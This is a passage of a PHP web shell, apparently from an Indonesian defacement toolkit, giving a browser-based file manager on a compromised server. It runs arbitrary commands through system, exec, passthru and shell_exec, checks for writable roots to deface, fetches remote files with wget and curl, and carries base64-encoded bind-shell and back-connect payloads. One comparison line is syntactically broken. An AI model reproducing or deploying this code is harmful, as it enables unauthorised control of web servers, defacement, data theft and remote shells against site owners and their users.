    if (is_writable($thisdir)) {
        return '&nbsp;Writeable Root Directory:<font color="green" size="+1">'.$thisdir.' '.ngindex("ok").'<br>';
    } else {
        return ngindex("ok").'<br>';
    }
}
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
if(!function_exists('posix_getegid')) {
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
} else {
    $uid = @posix_getpwuid(posix_geteuid());
    $gid = @posix_getgrgid(posix_getegid());
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}
$buff .= "&nbsp;MySQL: " . testmysql() . "&nbsp;|&nbsp;Perl: " . testperl() . "&nbsp;|&nbsp;cURL: " . testcurl() . "&nbsp;|&nbsp;WGet: " . testwget() . "<br>";
$buff .= "&nbsp;Disk Size:<font style='color:lime'>".hdd(disk_free_space("/"))."</font>/".hdd(disk_total_space("/"))."<br>";
$buff .= can_deface();
$buff .= "&nbsp;Disable Function :$show_ds<br>";
$buff .= "&nbsp;Drives : " . $letters . "&nbsp;&gt;&nbsp;" . $pwdurl;
function rapih($text)
{
    return trim(str_replace("<br>", "", $text));
}
function magicboom($text)
{
    if (!get_magic_quotes_gpc()) {
        return $text;
    }
    return stripslashes($text);
}
function showdir($pwd, $prompt)
{
    $fname = array();
    $dname = array();
    if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
        $posix = TRUE;
    else
        $posix = FALSE;
    $user = "????:????";
    if ($dh = opendir($pwd)) {
        while ($file = readdir($dh)) {
            if (is_dir($file)) {
                $dname[] = $file;
            } elseif (is_file($file)) {
                $fname[] = $file;
            }
        }
        closedir($dh);
    }
    sort($fname);
    sort($dname);
    $path   = @explode(DIRECTORY_SEPARATOR, $pwd);
    $tree   = @sizeof($path);
    $parent = "";
    $buff   = " <form action='?sad=" . $pwd . "&amp;x=shell' method='post' style='margin:8px 0 0 0;'><table class='cmdbox' style='width:50%;'><tr><td>$prompt</td><td><input onMouseOver='this.focus();' id='cmd' class='inputz' type='text' name='cmd' style='width:400px;' value='' /><input class='inputzbut' type='submit' value='Do !' name='submitcmd' style='width:80px;' /></td></tr></form><form action='?' method='get' style='margin:8px 0 0 0;'><input type='hidden' name='y' value='" . $pwd . "' /><tr><td>view file/folder</td><center><td><input onMouseOver='this.focus();' id='goto' class='inputz' type='text' name='view' style='width:400px;' value='" . $pwd . "' /><input class='inputzbut' type='submit' value='view !' name='submitcmd' style='width:80px;' /></td></center></tr></form></table><table class='explore'> <tr><th>File & Dirs</th><th style='width:80px;'>Size</th><th style='width:210px;'>Owner:Group</th><th style='width:80px;'>perms</th><th style='width:110px;'>Last Modified</th><th style='width:190px;'>actions</th></tr> ";
    if ($tree > 2)
        for ($i = 0; $i < $tree - 2; $i++)
            $parent .= $path[$i] . DIRECTORY_SEPARATOR;
    else
        $parent = $pwd;
    foreach ($dname as $folder) {
        if ($folder == ) {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td><a href=\"?sad=" . $pwd . "\">$folder</a></td><td>-</td>
<td style=\"text-align:center;\">" . $owner . "</td>
<td><center>" . get_perms($pwd) . "</center></td>
<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\">
<a href=\"?sad=$pwd&amp;edit=" . $pwd . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
</span><form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr> ";
        } elseif ($folder == "..") {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td>
<a href=\"?sad=" . $parent . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'>  $folder</a></td><td>-</td>
<td style=\"text-align:center;\">" . $owner . "</td>
<td><center>" . get_perms($parent) . "</center></td> <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td>
<td><span id=\"titik2\"><a href=\"?sad=$pwd&amp;edit=" . $parent . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> 
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr>";
        } else {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?sad=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAgAAAAIACAYAAAD0eNT6AAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAA6rSURBVHic7d1NqG3nQcbxJ19sUqJpIwnUpiENEVo7UIMlbmxXbOoHaFUQ2hIqhFDRioJF7UBtrVbFUT+oxYnYKjrQViGx4iAdGHcTVj+iJShIB5VUY7WptLFE6iIhx8E5g6skTa/Z+7x77+f3gzW4cDnn4d7B/p+191nvJScnJwEAulw6egAAcP4EAAAUEgAAUEgAAEAhAQAAhQQAABQSAABQSAAAQCEBAACFBAAAFBIAAFBIAABAIQEAAIUEAAAUEgAAUEgAAEAhAQAAhQQAABQSAABQSAAAQCEBAACFBAAAFBIAAFBIAABAIQEAAIUEAAAUEgAAUEgAAEAhAQAAhQQAABQSAABQSAAAQCEBAACFBAAAFBIAAFBIAABAIQEAAIUEAAAUEgAAUEgAAEAhAQAAhQQAABQSAABQSAAAQCEBAACFBAAAFBIAAFBIAABAIQEAAIUEAAAUEgAAUEgAAEAhAQAAhQQAABQSAABQSAAAQCEBAACFBAAAFBIAAFBIAABAIQEAAIUEAAAUEgAAUEgAAEAhAQAAhQQAABQSAABQSAAAQCEBAACFBAAAFBIAAFBIAABAIQEAAIUEAAAUEgAAUEgAAEAhAQAAhQQAABQSAABQSAAAQCEBAACFBAAAFBIAAFBIAABAIQEAAIUEAAAUEgAAUEgAAEAhAQAAhQQAABQSAABQSAAAQCEBAACFBAAAFBIAAFBIAABAIQEAAIUEAAAUEgAAUEgAAEAhAQAAhQQAABQSAABQSAAAQCEBAACFBAAAFLp89ACe3jJPlya5LsnzL7i+MccdbU8leTzJYxdcj67WmyeHrgI4QpecnJyM3kCSZZ5uSPLKJN95dn1HkquGjtoP/53koSQPnl3zar35zNhJAIdPAAy0zNOLkrw+yRuS3Dp4ziH5+yR/kuRPV+vNZ0ePAThEAmCAZZ5eneRXktye5JLBcw7dnOS3V+vNR0YPATgkAuAcLfP0miTvSPKq0VuO0N8leedqvbln9BCAQyAAzsEyTy9O8ntJfmD0lgJzkrt8TgDgaxMAO7bM011J3pPk6tFbinw1yduSvHe13jw1egzAPhIAO7LM0/OT/HGSHxq9pdj9Sd6wWm8+P3oIwL4RADuwzNNLkvxVkpeO3kIeSfLa1Xrz0OghAPvkmB8qM8QyT7cm+Xi8+O+L65Pcv8yTOzEAFxAAW7TM0+1J/jqnT/Bjf1yV5J5lnt44egjAvvAWwJYs83RLkvuSfMPgKTyzJ3L6dsC9o4cAjCYAtmCZp5uTPBA/+R+Cx5O8erXePDh6CMBIAuA5Ovu0/98muWn0Fr5ujya5ZbXe/OvoIQCj+AzAc/e78eJ/aK5L8sFlnjyGGajlOODnYJmnO5LcsaMv/+kkH03SfIvmmiSvy+lRyNv2fUl+Jsn7d/C1AfaetwAuwjJPlyW54uyPL8zp8+e3/eL0ySQ/u1pvPrXlr3uQlnm6Mskbc3qn5Ypn+esX66tJXpHEiYJwvE5W680yesQ+EgBPY5mnm5K8MqeH9rw0ybVn1wuy29P7vpTk21frzb/s8HscpGWefj7Ju0bvAA7SE0n+I8kXk3whpz+83Z/kgdV68+WRw0YSAGeWebomyU8leXOSGwbN+BHH2j6zZZ4+kuS1o3cAR+MkpweIvS/Jn6/WmycH7zlX9QGwzNO1SX49yZ1Jnjdwyl+u1psfHvj9997ZqYqfy27vwgCdHkny7iS/0xIC1b8FsMzTjyf5xyQ/nbEv/knyocHff++dvTUyj94BHKXrcxoAn1jm6dtGjzkPlQGwzNOVyzzdneSPknzT6D1JliR/MXrEgfjw6AHAUbslyaeWefq50UN2rS4Alnm6Kqcn9f3o6C0XuHe13vzn6BEH4s/S/auRwO5dkeS9yzy9bfSQXaoKgGWeVknuTfI9g6f8Xx8bPeBQrNabR5I8PHoHUOE3lnn61dEjdqUqAHL6Yb/16BFPwyNpL86/jR4A1HjHMk/T6BG7UBMAyzzdmuQXR+94Bp8fPeDACADgvFya5A/O3j4+KjUBkNOHyFw2esQzcAfg4ggA4Dy9JMlbRo/YtooAWObpZUm+e/SOr8EdgIsjAIDz9qZjO0CsIgCSvGn0gGexr3cm9pV/L+C83ZjkNaNHbFNLANw2esCzeNHoAQfmhaMHAJVeNXrANrUEwE2jBzyLbx494MAIAGCEG0cP2KajD4Blnq7O6bny+8wdgIsjAIARbhw9YJuOPgByeoTvvhMAF8cdE2CEq0cP2KaGADgE3zt6wKFY5ulbkrx49A6AQycA9sNtyzxdN3rEgXjd6AEAx0AA7IfLkvzY6BEH4vWjBwAcAwGwP+4YPWDfnT3QqeKcboBdEwD7Y1rm6SdGj9hXyzxdnuQDo3cAHAsBsF/et8zTy0eP2FO/leS7Ro8AOBaXjx7A/3JlkruXefrlJHev1psnRg8abZmn65O8OclbR28BOCYCYP/cnORDSR5d5um+JCdj5wx1TZLb49n/AFsnAPbXdfGJdwB2xGcAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACjUEACPjR4AwFH4yugB23T0AbBabx5L8uXROwA4eA+PHrBNRx8AZ/5p9AAADt7DowdsU0sAfGz0AAAO3gOjB2xTSwD8/ugBABy0f07y0dEjtqkiAFbrzT8k+cToHQAcrA+u1punRo/YpooAOPMLSY7qPw+Ac/G5JO8ePWLbagJgtd48kORdo3cAcFBOkty5Wm+O6lcAk6IAOPP2JPPoEQAcjF9brTd/M3rELlQFwGq9WZJ8f5L7Bk8BYP+9fbXevHP0iF2pCoAkWa03jyf5wST3jN4CwF56MslbVuvNb44eskuXnJycjN4wzDJPdyZ5T5IXjN4CwF54KMldq/Xm06OH7FrdHYALrdabP0zyrUk+kGQZPAeAcf49yS8leUXDi39SfgfgQss8XZvkJ8+uGwbPAWD3TpJ8PMn7k3x4td48MXjPuRIAT2OZp5uT3HZ2vSzJtWfX80buAuD/5SSnJ8N+MckXkjyYZJNks1pvvjRy2EgC4CIs83RlktXoHQB83U6S/NdqvXly9JB9IwAAoFD1hwABoJUAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBCAgAACgkAACgkAACgkAAAgEICAAAKCQAAKCQAAKCQAACAQgIAAAoJAAAoJAAAoJAAAIBC/wOpwZRkyDLP7wAAAABJRU5ErkJggg==' width=20px/>  <font style='color:red;text-shadow:none;'>[</font> $folder <font style='color:red;text-shadow:none;'>]</font></a>
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" />
</form> </td><td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>
<a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\">" . get_perms($pwd . $folder) . "</a>
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" 
onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" /></form></center></td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">rename</a>| <a href=\"?sad=$pwd&amp;fdelete=" . $pwd . $folder . "\">delete</a>
</td>
</tr>";
        }
    }
    foreach ($fname as $file) {
        $full = $pwd . $file;
        if (!$win && $posix) {
            $name  = @posix_getpwuid(@fileowner($file));
            $group = @posix_getgrgid(@filegroup($file));
            $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
        } else {
            $owner = $user;
        }
        $buff .= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?sad=$pwd&amp;view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' />  $file</a> 
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" />
</form></td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>
<a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\">" . get_perms($full) . "</a>
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($full)), -4) . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\" /></form></center></td>
<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td> 
<td><a href=\"?sad=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a>| <a href=\"?sad=$pwd&amp;delete=$full\">delete</a> | <a href=\"?sad=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?sad=$pwd&amp;dlgzip=$full\">gz</a>)
</td></tr>";
    }
    $buff .= "<center><tr style='background-color:teal;'><td colspan='6'><center>Kau Buat Sirna Sudahlah.. Harapanku Hidup Bersamamu..</center></td></table>";
    return $buff;
}
function ukuran($file)
{
    if ($size = @filesize($file)) {
        if ($size <= 1024)
            return $size;
        else {
            if ($size <= 1024 * 1024) {
                $size = @round($size / 1024, 2);
                ;
                return "$size kb";
            } else {
                $size = @round($size / 1024 / 1024, 2);
                return "$size mb";
            }
        }
    } else
        return "???";
}
function exe($cmd)
{
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        $buff = @ob_get_contents();
        @
        return $buff;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $buff = "";
        foreach ($results as $result) {
            $buff .= $result;
        }
        return $buff;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @
        return $buff;
    } elseif (function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
function tulis($file, $text)
{
    $textz = gzinflate(base64_decode($text));
    if ($filez = @fopen($file, "w")) {
        @fputs($filez, $textz);
        @fclose($file);
    }
}
function ambil($link, $file)
{
    if ($fp = @fopen($link, "r")) {
        while (!feof($fp)) {
            $cont .= @fread($fp, 1024);
        }
        @fclose($fp);
        $fp2 = @fopen($file, "w");
        @fwrite($fp2, $cont);
        @fclose($fp2);
    }
}
function which($pr)
{
    $path = exe("which $pr");
    if (!empty($path)) {
        return trim($path);
    } else {
        return trim($pr);
    }
}
function download($cmd, $url)
{
    $namafile = basename($url);
    switch ($cmd) {
        case 'wwget':
            exe(which('wget') . " " . $url . " -O " . $namafile);
            break;
        case 'wlynx':
            exe(which('lynx') . " -source " . $url . " > " . $namafile);
            break;
        case 'wfread':
            ambil($wurl, $namafile);
            break;
        case 'wfetch':
            exe(which('fetch') . " -o " . $namafile . " -p " . $url);
            break;
        case 'wlinks':
            exe(which('links') . " -source " . $url . " > " . $namafile);
            break;
        case 'wget':
            exe(which('GET') . " " . $url . " > " . $namafile);
            break;
        case 'wcurl':
            exe(which('curl') . " " . $url . " -o " . $namafile);
            break;
        default:
            break;
    }
    return $namafile;
}
function get_perms($file)
{
    if ($mode = @fileperms($file)) {
        $perms = '';
        $perms .= ($mode & 00400) ? 'r' : '-';
        $perms .= ($mode & 00200) ? 'w' : '-';
        $perms .= ($mode & 00100) ? 'x' : '-';
        $perms .= ($mode & 00040) ? 'r' : '-';
        $perms .= ($mode & 00020) ? 'w' : '-';
        $perms .= ($mode & 00010) ? 'x' : '-';
        $perms .= ($mode & 00004) ? 'r' : '-';
        $perms .= ($mode & 00002) ? 'w' : '-';
        $perms .= ($mode & 00001) ? 'x' : '-';
        return $perms;
    } else
        return "??????????";
}
function clearspace($text)
{
    return str_replace(" ", "_", $text);
}
$tunisia         = '';
$port_bind_bd_c  = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect    = "fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
